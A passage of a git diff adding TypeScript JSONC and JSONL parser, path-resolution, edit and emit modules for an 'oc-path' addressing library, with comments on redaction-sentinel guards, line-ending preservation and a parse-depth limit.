current.entries.slice(); + newEntries[idx] = newEntry; + return { + kind: 'object', + entries: newEntries, + ...(current.line !== undefined ? { line: current.line } : {}), + }; + } + + if (current.kind === 'array') { + // Resolve positional tokens ($first / $last / -N) against the + // array's size before the numeric coercion below; without this + // `Number('$last')` is NaN and the path silently unresolves. + let segNorm: string = seg; + if (isPositionalSeg(seg)) { + const resolved = resolvePositionalSeg(seg, { + indexable: true, + size: current.items.length, + }); + if (resolved === null) {return null;} + segNorm = resolved; + } + const idx = Number(segNorm); + if (!Number.isInteger(idx) || idx < 0 || idx >= current.items.length) {return null;} + const child = current.items[idx]; + if (child === undefined) {return null;} + const replacedChild = replaceAt(child, segments, i + 1, newValue); + if (replacedChild === null) {return null;} + const newItems = current.items.slice(); + newItems[idx] = replacedChild; + return { + kind: 'array', + items: newItems, + ...(current.line !== undefined ? { line: current.line } : {}), + }; + } + + // Primitive — can't descend. + return null; +} + +/** + * Re-render `ast.raw` from the (possibly mutated) tree. + * + * **Trivia is dropped** — see the module-level "Known limitation" + * section above. Subsequent `emitJsonc(returnedAst)` returns these + * synthesized bytes, NOT the original byte-fidelity input. + * + * Production-quality fix: parser tracks byte offsets per node; + * `setJsoncOcPath` does a `raw.slice(0,start) + newBytes + raw.slice(end)` + * splice, leaving trivia untouched. Tracked as PR follow-up. + */ +function rebuildRaw(ast: JsoncAst, fileName?: string): JsoncAst { + // Plumb fileName so render-mode emit's sentinel guard reports the + // file context (`oc://gateway.jsonc/[path]`) instead of the empty + // fallback (`oc:///[path]`). The throw originates here when a + // caller-injected sentinel reaches a leaf — without the file + // context, forensics + audit pipelines see "rejected somewhere" + // with no way to identify the file. + const opts = fileName !== undefined + ? { mode: 'render' as const, fileNameForGuard: fileName } + : { mode: 'render' as const }; + const next: JsoncAst = { kind: 'jsonc', raw: '', root: ast.root }; + const rendered = emitJsonc(next, opts); + return { ...ast, raw: rendered }; +} diff --git a/src/oc-path/jsonc/emit.ts b/src/oc-path/jsonc/emit.ts new file mode 100644 index 00000000000..75a5f354f75 --- /dev/null +++ b/src/oc-path/jsonc/emit.ts @@ -0,0 +1,99 @@ +/** + * Emit a `JsoncAst` to bytes. + * + * **Round-trip mode (default)** returns `ast.raw` verbatim — this + * preserves comments, formatting, and trailing whitespace exactly. + * + * **Sentinel-guard policy**: + * + * - Round-trip echoes `ast.raw` *without* scanning for the redaction + * sentinel. Bytes that came in via `parseJsonc` are trusted: a + * workspace file legitimately containing the literal + * `__OPENCLAW_REDACTED__` (in a code-block comment, in a pasted + * error log, etc.) would otherwise become a workspace-wide emit + * DoS — every `openclaw path emit FILE.jsonc` would exit non-zero, + * breaking lint round-trip rules, doctor fixers, and LKG + * fingerprinting. The substrate's contract is "no NEW sentinel + * bytes introduced via emit", not "no sentinel byte ever leaves". + * - Render mode walks every leaf and rejects sentinel-bearing leaf + * values (caller-injected sentinel via `setOcPath` lands here: + * `setJsoncOcPath` rebuilds raw via render-mode, so a leaf set to + * the sentinel by the caller is caught at the rebuild boundary + * before the raw is shipped back). + * + * Callers that want pre-existing sentinel detection (e.g., LKG + * fingerprint verification) can opt in via + * `acceptPreExistingSentinel: false`. + * + * @module @openclaw/oc-path/jsonc/emit + */ + +import { OcEmitSentinelError, REDACTED_SENTINEL } from '../sentinel.js'; +import type { JsoncAst, JsoncValue } from './ast.js'; + +export interface JsoncEmitOptions { + readonly mode?: 'roundtrip' | 'render'; + readonly fileNameForGuard?: string; + /** + * When `false`, round-trip mode also scans `ast.raw` for the + * redaction sentinel and throws `OcEmitSentinelError` if found. + * Default `true` — round-trip trusts parsed bytes (see policy + * comment above). Render mode always scans leaves regardless. + */ + readonly acceptPreExistingSentinel?: boolean; +} + +export function emitJsonc(ast: JsoncAst, opts: JsoncEmitOptions = {}): string { + const mode = opts.mode ?? 'roundtrip'; + const guardPath = opts.fileNameForGuard ? `oc://${opts.fileNameForGuard}` : 'oc://'; + const acceptPreExisting = opts.acceptPreExistingSentinel ?? true; + + if (mode === 'roundtrip') { + if (!acceptPreExisting && ast.raw.includes(REDACTED_SENTINEL)) { + throw new OcEmitSentinelError(`${guardPath}/[raw]`); + } + return ast.raw; + } + + // Render mode — synthesize JSON from the structural tree (loses + // comments). Walk every leaf string for sentinel detection so a + // caller-injected sentinel via setOcPath is rejected. + if (ast.root === null) {return '';} + return renderValue(ast.root, guardPath, []); +} + +function renderValue(value: JsoncValue, guardPath: string, walked: readonly string[]): string { + switch (value.kind) { + case 'object': { + const parts = value.entries.map( + (e) => + `${JSON.stringify(e.key)}: ${renderValue(e.value, guardPath, [...walked, e.key])}`, + ); + return `{ ${parts.join(', ')} }`; + } + case 'array': { + const parts = value.items.map((v, i) => + renderValue(v, guardPath, [...walked, String(i)]), + ); + return `[ ${parts.join(', ')} ]`; + } + case 'string': { + // Reject ANY string that contains the sentinel — embedded + // (`prefix__OPENCLAW_REDACTED__suffix`) is just as much of a + // "literal redacted token landed on disk" leak as exact-match. + // The roundtrip path uses `raw.includes()` for the same reason; + // render needs the same predicate per leaf. + if (value.value.includes(REDACTED_SENTINEL)) { + throw new OcEmitSentinelError(`${guardPath}/${walked.join('/')}`); + } + return JSON.stringify(value.value); + } + case 'number': + return String(value.value); + case 'boolean': + return String(value.value); + case 'null': + return 'null'; + } + throw new Error(`unreachable: jsonc renderValue kind`); +} diff --git a/src/oc-path/jsonc/parse.ts b/src/oc-path/jsonc/parse.ts new file mode 100644 index 00000000000..28ba56590a6 --- /dev/null +++ b/src/oc-path/jsonc/parse.ts @@ -0,0 +1,311 @@ +/** + * Minimal JSONC parser — handles JSON + line comments and block + * comments + trailing commas. Produces a structural tree for OcPath + * resolution; full byte-fidelity emit relies on `raw` on the AST root. + * + * **Prototype scope**: this parser handles the input shapes openclaw + * config files actually use. Production landing ports the full + * comment-preserving parser from `openclaw-workspace` (1248 LoC). + * + * @module @openclaw/oc-path/jsonc/parse + */ + +import type { Diagnostic } from '../ast.js'; +import type { JsoncAst, JsoncEntry, JsoncValue } from './ast.js'; + +/** + * Bound on parse-time recursion depth. Mirrors `MAX_TRAVERSAL_DEPTH` + * from oc-path; real configs don't nest beyond ~10 levels, so 256 is + * a safe ceiling. Pathological input like + * `'['.repeat(20000) + '0' + ']'.repeat(20000)` would otherwise + * trigger V8 RangeError before any structural diagnostic — the CLI + * loads attacker-supplied workspace files via `loadAst`, so this + * defense fires before raw stack overflow escapes to commander. + */ +export const MAX_PARSE_DEPTH = 256; + +export interface JsoncParseResult { + readonly ast: JsoncAst; + readonly diagnostics: readonly Diagnostic[]; +} + +class ParseDepthError extends Error { + readonly code = 'OC_JSONC_DEPTH_EXCEEDED'; + constructor(line: number) { + super(`structural depth exceeded MAX_PARSE_DEPTH (${MAX_PARSE_DEPTH}) at line ${line}`); + this.name = 'ParseDepthError'; + } +} + +class ParseState { + pos = 0; + line = 1; + + constructor(public readonly src: string) {} + + peek(): string | undefined { + return this.src[this.pos]; + } + + advance(): string | undefined { + const c = this.src[this.pos]; + this.pos++; + if (c === '\n') {this.line++;} + return c; + } + + eof(): boolean { + return this.pos >= this.src.length; + } +} + +/** + * Parse a JSONC string. Soft-error policy: doesn't throw; suspicious + * inputs surface as diagnostics. An entirely unparseable input + * produces an AST with `root: null` and an error diagnostic. + */ +export function parseJsonc(raw: string): JsoncParseResult { + const diagnostics: Diagnostic[] = []; + // Strip BOM for parsing convenience; raw is preserved on the AST. + const withoutBom = raw.startsWith('') ? raw.slice(1) : raw; + const st = new ParseState(withoutBom); + + skipWs(st); + if (st.eof()) { + return { ast: { kind: 'jsonc', raw, root: null }, diagnostics }; + } + + let root: JsoncValue | null = null; + try { + root = parseValue(st, diagnostics, 0); + skipWs(st); + if (!st.eof()) { + diagnostics.push({ + line: st.line, + message: `unexpected trailing input at offset ${st.pos}`, + severity: 'warning', + code: 'OC_JSONC_TRAILING_INPUT', + }); + } + } catch (err) { + diagnostics.push({ + line: st.line, + message: err instanceof Error ? err.message : String(err), + severity: 'error', + code: err instanceof ParseDepthError ? err.code : 'OC_JSONC_PARSE_FAILED', + }); + } + + return { ast: { kind: 'jsonc', raw, root }, diagnostics }; +} + +// ---------- internal -------------------------------------------------------- + +function skipWs(st: ParseState): void { + while (!st.eof()) { + const c = st.peek(); + if (c === ' ' || c === '\t' || c === '\n' || c === '\r') { + st.advance(); + continue; + } + if (c === '/') { + const next = st.src[st.pos + 1]; + if (next === '/') { + // Line comment — skip until newline. + while (!st.eof() && st.peek() !== '\n') {st.advance();} + continue; + } + if (next === '*') { + // Block comment — skip until closing star-slash. + st.advance(); + st.advance(); + while (!st.eof()) { + if (st.peek() === '*' && st.src[st.pos + 1] === '/') { + st.advance(); + st.advance(); + break; + } + st.advance(); + } + continue; + } + } + return; + } +} + +function parseValue(st: ParseState, diags: Diagnostic[], depth: number): JsoncValue { + // Bound recursion. Without this guard, pathological input like + // `'['.repeat(20000) + '0' + ']'.repeat(20000)` triggers V8 + // RangeError before any structural diagnostic — the CLI loads + // attacker-supplied workspace files via `loadAst`, so unbounded + // recursion would escape commander as a raw stack-overflow string. + if (depth > MAX_PARSE_DEPTH) {throw new ParseDepthError(st.line);} + skipWs(st); + const startLine = st.line; + const c = st.peek(); + if (c === '{') {return parseObject(st, diags, startLine, depth);} + if (c === '[') {return parseArray(st, diags, startLine, depth);} + if (c === '"') {return { kind: 'string', value: parseString(st), line: startLine };} + if (c === 't' || c === 'f') {return parseBoolean(st, startLine);} + if (c === 'n') {return parseNull(st, startLine);} + if (c === '-' || (c !== undefined && c >= '0' && c <= '9')) {return parseNumber(st, startLine);} + throw new Error( + `unexpected character ${JSON.stringify(c)} at line ${st.line} (offset ${st.pos})`, + ); +} + +function parseObject(st: ParseState, diags: Diagnostic[], startLine: number, depth: number): JsoncValue { + if (st.advance() !== '{') {throw new Error('expected `{`');} + const entries: JsoncEntry[] = []; + skipWs(st); + if (st.peek() === '}') { + st.advance(); + return { kind: 'object', entries, line: startLine }; + } + while (true) { + skipWs(st); + if (st.peek() !== '"') { + throw new Error(`expected string key at line ${st.line} (offset ${st.pos})`); + } + const keyLine = st.line; + const key = parseString(st); + skipWs(st); + if (st.advance() !== ':') { + throw new Error(`expected \`:\` after key at line ${st.line}`); + } + skipWs(st); + const value = parseValue(st, diags, depth + 1); + entries.push({ key, value, line: keyLine }); + skipWs(st); + const next = st.peek(); + if (next === ',') { + st.advance(); + skipWs(st); + // Trailing comma? Allow. + if (st.peek() === '}') { + st.advance(); + return { kind: 'object', entries, line: startLine }; + } + continue; + } + if (next === '}') { + st.advance(); + return { kind: 'object', entries, line: startLine }; + } + throw new Error( + `expected \`,\` or \`}\` after value at line ${st.line} (offset ${st.pos})`, + ); + } +} + +function parseArray(st: ParseState, diags: Diagnostic[], startLine: number, depth: number): JsoncValue { + if (st.advance() !== '[') {throw new Error('expected `[`');} + const items: JsoncValue[] = []; + skipWs(st); + if (st.peek() === ']') { + st.advance(); + return { kind: 'array', items, line: startLine }; + } + while (true) { + skipWs(st); + items.push(parseValue(st, diags, depth + 1)); + skipWs(st); + const next = st.peek(); + if (next === ',') { + st.advance(); + skipWs(st); + if (st.peek() === ']') { + st.advance(); + return { kind: 'array', items, line: startLine }; + } + continue; + } + if (next === ']') { + st.advance(); + return { kind: 'array', items, line: startLine }; + } + throw new Error( + `expected \`,\` or \`]\` after value at line ${st.line} (offset ${st.pos})`, + ); + } +} + +function parseString(st: ParseState): string { + if (st.advance() !== '"') {throw new Error('expected `"`');} + let out = ''; + while (!st.eof()) { + const c = st.advance(); + if (c === '"') {return out;} + if (c === '\\') { + const esc = st.advance(); + switch (esc) { + case '"': out += '"'; break; + case '\\': out += '\\'; break; + case '/': out += '/'; break; + case 'b': out += '\b'; break; + case 'f': out += '\f'; break; + case 'n': out += '\n'; break; + case 'r': out += '\r'; break; + case 't': out += '\t'; break; + case 'u': { + const hex = st.src.slice(st.pos, st.pos + 4); + if (!/^[0-9a-fA-F]{4}$/.test(hex)) { + throw new Error(`invalid unicode escape at line ${st.line}`); + } + out += String.fromCharCode(Number.parseInt(hex, 16)); + st.pos += 4; + break; + } + default: + throw new Error(`invalid escape \\${esc} at line ${st.line}`); + } + continue; + } + out += c; + } + throw new Error(`unterminated string starting at line ${st.line}`); +} + +function parseBoolean(st: ParseState, line: number): JsoncValue { + if (st.src.slice(st.pos, st.pos + 4) === 'true') { + st.pos += 4; + return { kind: 'boolean', value: true, line }; + } + if (st.src.slice(st.pos, st.pos + 5) === 'false') { + st.pos += 5; + return { kind: 'boolean', value: false, line }; + } + throw new Error(`expected true/false at line ${st.line}`); +} + +function parseNull(st: ParseState, line: number): JsoncValue { + if (st.src.slice(st.pos, st.pos + 4) === 'null') { + st.pos += 4; + return { kind: 'null', line }; + } + throw new Error(`expected null at line ${st.line}`); +} + +function parseNumber(st: ParseState, line: number): JsoncValue { + const start = st.pos; + if (st.peek() === '-') {st.advance();} + while (!st.eof() && /[0-9]/.test(st.peek() ?? '')) {st.advance();} + if (st.peek() === '.') { + st.advance(); + while (!st.eof() && /[0-9]/.test(st.peek() ?? '')) {st.advance();} + } + if (st.peek() === 'e' || st.peek() === 'E') { + st.advance(); + if (st.peek() === '+' || st.peek() === '-') {st.advance();} + while (!st.eof() && /[0-9]/.test(st.peek() ?? '')) {st.advance();} + } + const text = st.src.slice(start, st.pos); + const value = Number(text); + if (!Number.isFinite(value)) { + throw new Error(`invalid number "${text}" at line ${st.line}`); + } + return { kind: 'number', value, line }; +} + +export type { Diagnostic }; diff --git a/src/oc-path/jsonc/resolve.ts b/src/oc-path/jsonc/resolve.ts new file mode 100644 index 00000000000..2787a41ac2f --- /dev/null +++ b/src/oc-path/jsonc/resolve.ts @@ -0,0 +1,122 @@ +/** + * Resolve an `OcPath` against a `JsoncAst`. + * + * The OcPath model has 4 segments (file, section, item, field) — for + * JSONC artifacts that's not enough depth, so segments concat with `/` + * AND a section/item/field MAY contain dots (`.`) for deeper traversal. + * Both forms work: + * + * oc://config/plugins/entries/foo (segment-per-key) + * oc://config/plugins.entries.foo (dotted section) + * oc://config/plugins/entries.foo (mixed) + * + * Each segment is split on `.`, and the resulting flat list of keys + * walks the value tree from `ast.root`. Numeric segments index into + * arrays. + * + * @module @openclaw/oc-path/jsonc/resolve + */ + +import type { OcPath } from '../oc-path.js'; +import { + isPositionalSeg, + isQuotedSeg, + resolvePositionalSeg, + splitRespectingBrackets, + unquoteSeg, +} from '../oc-path.js'; +import type { JsoncAst, JsoncEntry, JsoncValue } from './ast.js'; + +export type JsoncOcPathMatch = + | { readonly kind: 'root'; readonly node: JsoncAst } + | { readonly kind: 'value'; readonly node: JsoncValue; readonly path: readonly string[] } + | { + readonly kind: 'object-entry'; + readonly node: JsoncEntry; + readonly path: readonly string[]; + }; + +/** + * Walk the JSONC tree following the OcPath. Returns the matched node + * or `null`. Numeric path segments index into arrays. + */ +export function resolveJsoncOcPath( + ast: JsoncAst, + path: OcPath, +): JsoncOcPathMatch | null { + if (ast.root === null) {return null;} + + // Bracket-aware split + unquote: `"foo/bar".baz` becomes + // [`foo/bar`, `baz`] (literal slash preserved in the first sub). + const segments: string[] = []; + if (path.section !== undefined) { + for (const s of splitRespectingBrackets(path.section, '.')) { + segments.push(isQuotedSeg(s) ? unquoteSeg(s) : s); + } + } + if (path.item !== undefined) { + for (const s of splitRespectingBrackets(path.item, '.')) { + segments.push(isQuotedSeg(s) ? unquoteSeg(s) : s); + } + } + if (path.field !== undefined) { + for (const s of splitRespectingBrackets(path.field, '.')) { + segments.push(isQuotedSeg(s) ? unquoteSeg(s) : s); + } + } + + if (segments.length === 0) {return { kind: 'root', node: ast };} + + let current: JsoncValue = ast.root; + let lastEntry: JsoncEntry | null = null; + const walked: string[] = []; + + for (let seg of segments) { + if (seg.length === 0) {return null;} + // Positional resolution: `$first` / `$last` always; `-N` only on + // indexable (array) containers. On a keyed (object) container, a + // `-N` segment falls through to literal-key lookup so paths like + // `groups.-5028303500.requireMention` (Telegram supergroup IDs — + // openclaw#59934) address the literal key instead of crashing. + if (isPositionalSeg(seg)) { + const concrete = positionalForJsonc(current, seg); + if (concrete !== null) {seg = concrete;} + // null means "not applicable" — fall through to literal lookup. + } + walked.push(seg); + if (current.kind === 'object') { + const entry = current.entries.find((e) => e.key === seg); + if (entry === undefined) {return null;} + lastEntry = entry; + current = entry.value; + continue; + } + if (current.kind === 'array') { + const idx = Number(seg); + if (!Number.isInteger(idx) || idx < 0 || idx >= current.items.length) {return null;} + lastEntry = null; + const item = current.items[idx]; + if (item === undefined) {return null;} + current = item; + continue; + } + // Primitive — can't descend further. + return null; + } + + if (lastEntry !== null && current === lastEntry.value) { + return { kind: 'object-entry', node: lastEntry, path: walked }; + } + return { kind: 'value', node: current, path: walked }; +} + +function positionalForJsonc(node: JsoncValue, seg: string): string | null { + if (node.kind === 'object') { + const keys = node.entries.map((e) => e.key); + return resolvePositionalSeg(seg, { indexable: false, size: keys.length, keys }); + } + if (node.kind === 'array') { + return resolvePositionalSeg(seg, { indexable: true, size: node.items.length }); + } + return null; +} diff --git a/src/oc-path/jsonl/ast.ts b/src/oc-path/jsonl/ast.ts new file mode 100644 index 00000000000..02904aca885 --- /dev/null +++ b/src/oc-path/jsonl/ast.ts @@ -0,0 +1,49 @@ +/** + * JSONL AST types — JSON-Lines: one JSON value per line, separated by + * `\n`. The shape used by openclaw session-event logs, audit trails, + * and LKG checkpoints (which is why JSONL is part of the universal + * OcPath addressing scheme). + * + * **Per-kind discriminator**: every AST in this substrate carries a + * `kind` field. The OcPath resolver dispatches on `kind`. + * + * **Byte-fidelity**: `raw` is preserved on the root for round-trip + * emit. JSONL is line-oriented, so blank lines and per-line comments + * (we don't strip them in render mode either — we preserve them as + * "raw" line entries) live in the AST. + * + * @module @openclaw/oc-path/jsonl/ast + */ + +import type { JsoncValue } from '../jsonc/ast.js'; + +/** The root JSONL AST. `raw` round-trips byte-identical via emit. */ +export interface JsonlAst { + readonly kind: 'jsonl'; + readonly raw: string; + readonly lines: readonly JsonlLine[]; + /** + * Line-ending convention detected at parse time. Used by render mode + * to reconstruct the original convention (Windows-authored datasets + * use CRLF; Unix uses LF). Optional for back-compat with synthetic + * ASTs that don't track this — render mode falls back to LF when + * undefined. + */ + readonly lineEnding?: '\r\n' | '\n'; +} + +/** + * One line of a JSONL file. Either a parsed JSON value, a blank line + * (preserved for round-trip), or a malformed line (emit verbatim; + * emit-time sentinel guard still scans). + */ +export type JsonlLine = + | { + readonly kind: 'value'; + readonly line: number; + readonly value: JsoncValue; + /** The original line text (without trailing newline). */ + readonly raw: string; + } + | { readonly kind: 'blank'; readonly line: number; readonly raw: string } + | { readonly kind: 'malformed'; readonly line: number; readonly raw: string }; diff --git a/src/oc-path/jsonl/edit.ts b/src/oc-path/jsonl/edit.ts new file mode 100644 index 00000000000..172fa8d4a6a --- /dev/null +++ b/src/oc-path/jsonl/edit.ts @@ -0,0 +1,228 @@ +/** + * Mutate a `JsonlAst` at an OcPath. Returns a new AST with the line + * (or sub-field of a line) replaced. + * + * Edit shapes: + * + * oc://session-events/L42 → replace line 42's whole value + * oc://session-events/L42/field → replace field on line 42 + * oc://session-events/L42/field.sub → dotted descent + * oc://session-events/$last/... → resolves to most recent value + * + * Append (no existing line) is NOT a `set` — use `appendJsonlLine` for + * that. `setJsonlOcPath` only edits existing addresses. + * + * @module @openclaw/oc-path/jsonl/edit + */ + +import type { OcPath } from '../oc-path.js'; +import { + isPositionalSeg, + isQuotedSeg, + resolvePositionalSeg, + splitRespectingBrackets, + unquoteSeg, +} from '../oc-path.js'; +import type { JsoncEntry, JsoncValue } from '../jsonc/ast.js'; +import type { JsonlAst, JsonlLine } from './ast.js'; +import { emitJsonl } from './emit.js'; + +export type JsonlEditResult = + | { readonly ok: true; readonly ast: JsonlAst } + | { readonly ok: false; readonly reason: 'unresolved' | 'not-a-value-line' }; + +export function setJsonlOcPath( + ast: JsonlAst, + path: OcPath, + newValue: JsoncValue, +): JsonlEditResult { + const head = path.section; + if (head === undefined) {return { ok: false, reason: 'unresolved' };} + + const lineIdx = pickLineIndex(ast, head); + if (lineIdx === -1) {return { ok: false, reason: 'unresolved' };} + const target = ast.lines[lineIdx]; + if (target === undefined) {return { ok: false, reason: 'unresolved' };} + + // No item/field — replace the whole line value. Requires the line to + // already be a value line (we don't synthesize lines from blanks). + if (path.item === undefined && path.field === undefined) { + if (target.kind !== 'value') {return { ok: false, reason: 'not-a-value-line' };} + const newLine: JsonlLine = { + kind: 'value', + line: target.line, + value: newValue, + raw: target.raw, + }; + return finalize(ast, lineIdx, newLine, path.file); + } + + if (target.kind !== 'value') {return { ok: false, reason: 'not-a-value-line' };} + + // Bracket/brace/quote-aware split — preserves quoted segments + // verbatim so the edit path matches `resolveJsonlOcPath`'s + // unquoting behavior. Plain `.split('.')` would shred a quoted key + // and silently desync read-vs-write. + const segments: string[] = []; + if (path.item !== undefined) {segments.push(...splitRespectingBrackets(path.item, '.'));} + if (path.field !== undefined) {segments.push(...splitRespectingBrackets(path.field, '.'));} + + const replaced = replaceAt(target.value, segments, 0, newValue); + if (replaced === null) {return { ok: false, reason: 'unresolved' };} + const newLine: JsonlLine = { + kind: 'value', + line: target.line, + value: replaced, + raw: target.raw, + }; + return finalize(ast, lineIdx, newLine, path.file); +} + +function replaceAt( + current: JsoncValue, + segments: readonly string[], + i: number, + newValue: JsoncValue, +): JsoncValue | null { + const seg = segments[i]; + if (seg === undefined) {return newValue;} + if (seg.length === 0) {return null;} + + if (current.kind === 'object') { + // Resolve positional tokens ($first / $last) against the entries' + // ordered key list before any literal-key comparison. Keeps the + // jsonl edit path symmetric with resolveJsonlOcPath, which already + // honors positional tokens during read. + let segNorm: string = seg; + if (isPositionalSeg(seg)) { + const resolved = resolvePositionalSeg(seg, { + indexable: false, + size: current.entries.length, + keys: current.entries.map((e) => e.key), + }); + if (resolved === null) {return null;} + segNorm = resolved; + } + // Quoted segments carry the raw bytes verbatim; AST entry keys + // are unquoted. Strip the surrounding quotes before comparing. + const lookupKey = isQuotedSeg(segNorm) ? unquoteSeg(segNorm) : segNorm; + const idx = current.entries.findIndex((e) => e.key === lookupKey); + if (idx === -1) {return null;} + const child = current.entries[idx]; + if (child === undefined) {return null;} + const replacedChild = replaceAt(child.value, segments, i + 1, newValue); + if (replacedChild === null) {return null;} + const newEntry: JsoncEntry = { ...child, value: replacedChild }; + const newEntries = current.entries.slice(); + newEntries[idx] = newEntry; + return { + kind: 'object', + entries: newEntries, + ...(current.line !== undefined ? { line: current.line } : {}), + }; + } + + if (current.kind === 'array') { + // Resolve positional tokens ($first / $last / -N) against the + // array's size before the numeric coercion below; without this + // `Number('$last')` is NaN and the path silently unresolves. + let segNorm: string = seg; + if (isPositionalSeg(seg)) { + const resolved = resolvePositionalSeg(seg, { + indexable: true, + size: current.items.length, + }); + if (resolved === null) {return null;} + segNorm = resolved; + } + const idx = Number(segNorm); + if (!Number.isInteger(idx) || idx < 0 || idx >= current.items.length) {return null;} + const child = current.items[idx]; + if (child === undefined) {return null;} + const replacedChild = replaceAt(child, segments, i + 1, newValue); + if (replacedChild === null) {return null;} + const newItems = current.items.slice(); + newItems[idx] = replacedChild; + return { + kind: 'array', + items: newItems, + ...(current.line !== undefined ? { line: current.line } : {}), + }; + } + + return null; +} + +function pickLineIndex(ast: JsonlAst, addr: string): number { + // Mirrors the line-address grammar handled by resolveJsonlOcPath's + // pickLine and find.ts's pickLine — the four shapes a JSONL line can + // be addressed by. Without `$first` and `-N` here, a path that + // resolves cleanly under those tokens would silently unresolve on + // the edit path (resolve↔write asymmetry). + if (addr === '$last') { + for (let i = ast.lines.length - 1; i >= 0; i--) { + const l = ast.lines[i]; + if (l !== undefined && l.kind === 'value') {return i;} + } + return -1; + } + if (addr === '$first') { + for (let i = 0; i < ast.lines.length; i++) { + const l = ast.lines[i]; + if (l !== undefined && l.kind === 'value') {return i;} + } + return -1; + } + if (/^-\d+$/.test(addr)) { + // -N selects the Nth-from-last value line. Walk only value lines + // so blank/malformed lines don't shift the count (consistent with + // resolve.ts's pickLine). + const valueIndices: number[] = []; + for (let i = 0; i < ast.lines.length; i++) { + const l = ast.lines[i]; + if (l !== undefined && l.kind === 'value') {valueIndices.push(i);} + } + const n = valueIndices.length + Number(addr); + return n >= 0 && n < valueIndices.length ? (valueIndices[n] ?? -1) : -1; + } + const m = /^L(\d+)$/.exec(addr); + if (m === null || m[1] === undefined) {return -1;} + const target = Number(m[1]); + return ast.lines.findIndex((l) => l.line === target); +} + +function finalize(ast: JsonlAst, lineIdx: number, newLine: JsonlLine, fileName?: string): JsonlEditResult { + const newLines = ast.lines.slice(); + newLines[lineIdx] = newLine; + const next: JsonlAst = { + kind: 'jsonl', + raw: '', + lines: newLines, + ...(ast.lineEnding !== undefined ? { lineEnding: ast.lineEnding } : {}), + }; + const opts = fileName !== undefined + ? { mode: 'render' as const, fileNameForGuard: fileName } + : { mode: 'render' as const }; + const rendered = emitJsonl(next, opts); + return { ok: true, ast: { ...next, raw: rendered } }; +} + +/** + * Append a new value as the next line. Useful for session checkpointing + * (each event is a new line). Returns a new AST. The `path` parameter + * is accepted for OcPath-naming consistency but jsonl append addresses + * the file as a whole (line numbers are assigned by the substrate). + */ +export function appendJsonlOcPath(ast: JsonlAst, value: JsoncValue): JsonlAst { + const nextLineNo = + ast.lines.length === 0 ? 1 : (ast.lines[ast.lines.length - 1]?.line ?? 0) + 1; + const newLine: JsonlLine = { + kind: 'value', + line: nextLineNo, + value, + raw: '', + }; + const next: JsonlAst = { kind: 'jsonl', raw: '', lines: [...ast.lines, newLine] }; + const rendered = emitJsonl(next, { mode: 'render' }); + return { ...next, raw: rendered }; +} diff --git a/src/oc-path/jsonl/emit.ts b/src/oc-path/jsonl/emit.ts new file mode 100644 index 00000000000..a2554c9edae --- /dev/null +++ b/src/oc-path/jsonl/emit.ts @@ -0,0 +1,100 @@ +/** + * Emit a `JsonlAst` to bytes. + * + * **Round-trip mode (default)** returns `ast.raw` verbatim — preserves + * malformed lines, blanks, trailing-newline shape exactly. + * + * **Render mode** rebuilds the file from line entries (re-stringifies + * value lines via JSON.stringify; preserves blank/malformed lines + * verbatim). Useful for synthetic ASTs. + * + * **Sentinel guard**: scans every emitted byte sequence for the + * `__OPENCLAW_REDACTED__` literal. + * + * @module @openclaw/oc-path/jsonl/emit + */ + +import { OcEmitSentinelError, REDACTED_SENTINEL } from '../sentinel.js'; +import type { JsoncValue } from '../jsonc/ast.js'; +import type { JsonlAst } from './ast.js'; + +export interface JsonlEmitOptions { + readonly mode?: 'roundtrip' | 'render'; + readonly fileNameForGuard?: string; + /** + * See `JsoncEmitOptions.acceptPreExistingSentinel` for the rationale. + * Default `true` — round-trip echoes parsed bytes without scanning + * for the sentinel. Render mode scans value-line leaves regardless. + */ + readonly acceptPreExistingSentinel?: boolean; +} + +export function emitJsonl(ast: JsonlAst, opts: JsonlEmitOptions = {}): string { + const mode = opts.mode ?? 'roundtrip'; + const guardPath = opts.fileNameForGuard ? `oc://${opts.fileNameForGuard}` : 'oc://'; + const acceptPreExisting = opts.acceptPreExistingSentinel ?? true; + + if (mode === 'roundtrip') { + if (!acceptPreExisting && ast.raw.includes(REDACTED_SENTINEL)) { + throw new OcEmitSentinelError(`${guardPath}/[raw]`); + } + return ast.raw; + } + + const out: string[] = []; + for (const ln of ast.lines) { + if (ln.kind === 'blank' || ln.kind === 'malformed') { + // Blank/malformed lines round-trip as their original raw bytes. + // Apply the same trust policy: only scan when caller opts in. + if (!acceptPreExisting && ln.raw.includes(REDACTED_SENTINEL)) { + throw new OcEmitSentinelError(`${guardPath}/L${ln.line}`); + } + out.push(ln.raw); + continue; + } + // Value lines re-serialize via renderValue, which always scans + // string leaves regardless of acceptPreExistingSentinel — a + // caller-injected sentinel via setOcPath / appendJsonl must + // always be rejected. + out.push(renderValue(ln.value, `${guardPath}/L${ln.line}`, [])); + } + // Restore the original line-ending convention. Without this, a CRLF + // input edited via setJsonlOcPath would emit a mixed-ending file: + // edited lines joined with `\n` and untouched lines retaining the + // `\r` on their .raw bytes — silent CRLF→LF corruption on + // Windows-authored datasets. + return out.join(ast.lineEnding ?? '\n'); +} + +function renderValue(value: JsoncValue, guardPath: string, walked: readonly string[]): string { + switch (value.kind) { + case 'object': { + const parts = value.entries.map( + (e) => `${JSON.stringify(e.key)}:${renderValue(e.value, guardPath, [...walked, e.key])}`, + ); + return `{${parts.join(',')}}`; + } + case 'array': { + const parts = value.items.map((v, i) => + renderValue(v, guardPath, [...walked, String(i)]), + ); + return `[${parts.join(',')}]`; + } + case 'string': { + // Reject ANY string that contains the sentinel — embedded + // (`prefix__OPENCLAW_REDACTED__suffix`) is just as much of a + // "literal redacted token landed on disk" leak as exact-match. + if (value.value.includes(REDACTED_SENTINEL)) { + throw new OcEmitSentinelError(`${guardPath}/${walked.join('/')}`); + } + return JSON.stringify(value.value); + } + case 'number': + return String(value.value); + case 'boolean': + return String(value.value); + case 'null': + return 'null'; + } + throw new Error(`unreachable: jsonl renderValue kind`); +} diff --git a/src/oc-path/jsonl/parse.ts b/src/oc-path/jsonl/parse.ts new file mode 100644 index 00000000000..df91dd00480 --- /dev/null +++ b/src/oc-path/jsonl/parse.ts @@ -0,0 +1,74 @@ +/** + * JSONL parser — splits on `\n`, parses each non-empty line as JSONC + * (allowing comments/trailing-comma is harmless and matches what + * openclaw session logs actually emit). Soft-error policy: malformed + * lines surface as `kind: 'malformed'` AST entries plus a diagnostic. + * + * @module @openclaw/oc-path/jsonl/parse + */ + +import type { Diagnostic } from '../ast.js'; +import { parseJsonc } from '../jsonc/parse.js'; +import type { JsonlAst, JsonlLine } from './ast.js'; + +export interface JsonlParseResult { + readonly ast: JsonlAst; + readonly 